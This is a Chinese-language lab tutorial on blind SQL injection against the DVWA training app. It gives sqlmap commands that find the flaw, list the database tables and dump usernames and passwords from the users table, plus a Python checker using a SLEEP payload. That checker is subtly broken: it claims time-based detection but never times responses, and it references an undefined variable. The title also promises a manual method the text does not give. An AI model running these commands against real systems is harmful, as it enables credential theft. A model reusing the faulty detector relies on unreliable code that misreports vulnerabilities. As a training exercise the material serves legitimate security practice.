【DVWA】21. SQL Injection (Blind)SQL注入盲注（Low手工版）

### 关于 DVWA 中 SQL 注入盲注技术及其测试 SQL 盲注是一种高级的 SQL 注入攻击形式，在这种情况下，应用程序不会返回任何错误消息或查询结果给攻击者。相反，攻击者通过发送特定请求并观察响应时间或其他间接信号来推断数据库的内容[^1]。 #### 如何利用 DVWA 测试 SQL 盲注？ DVWA 提供了一个低安全级别的环境用于练习 SQL 注入技术。为了测试 SQL 盲注，可以按照以下方式操作： 1. **设置目标 URL 和 Cookie** 需要指定目标 URL 并提供必要的会话 cookie 来保持登录状态。例如： ```bash python sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" \ --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" ``` 这里 `sqli_blind` 是专门针对盲注模块的路径[^3]。 2. **检测是否存在盲注漏洞** 使用工具如 sqlmap 可以自动探测是否有盲注的可能性。如果发现存在盲注，则可以通过布尔型或基于时间延迟的方式进一步挖掘数据。 布尔型盲注依赖于条件判断的结果改变页面行为；而基于时间延迟的盲注则通过测量服务器响应的时间差异来进行推测[^4]。 3. **提取表结构和其他敏感信息** 当确认有盲注漏洞后，可尝试获取更多关于数据库的信息，比如列出所有的表格名称或者字段名等。例如命令如下所示： ```bash python sqlmap.py ... -D dvwa --tables ``` 此外还可以继续深入探索具体某个表内的记录详情： ```bash python sqlmap.py ... -T users -C username,password --dump ``` 以上过程展示了如何借助自动化脚本以及手动分析相结合的方式来研究和实践 SQL 盲注的技术要点[^2]。 ```python import requests def check_sql_injection(url, payload): params = {'id': payload} cookies = {"PHPSESSID": "your_session_id", "security":"low"} r = requests.get(url,params=params,cookies=cookies) if "True" in r.text or len(r.content) != normal_response_length: return True return False normal_response_length=len(requests.get(base_url).content) payload='1 AND SLEEP(5)-- ' if(check_sql_injection(base_url,payload)): print('Time-based Blind Injection Detected') else: print('No Vulnerability Found.') ```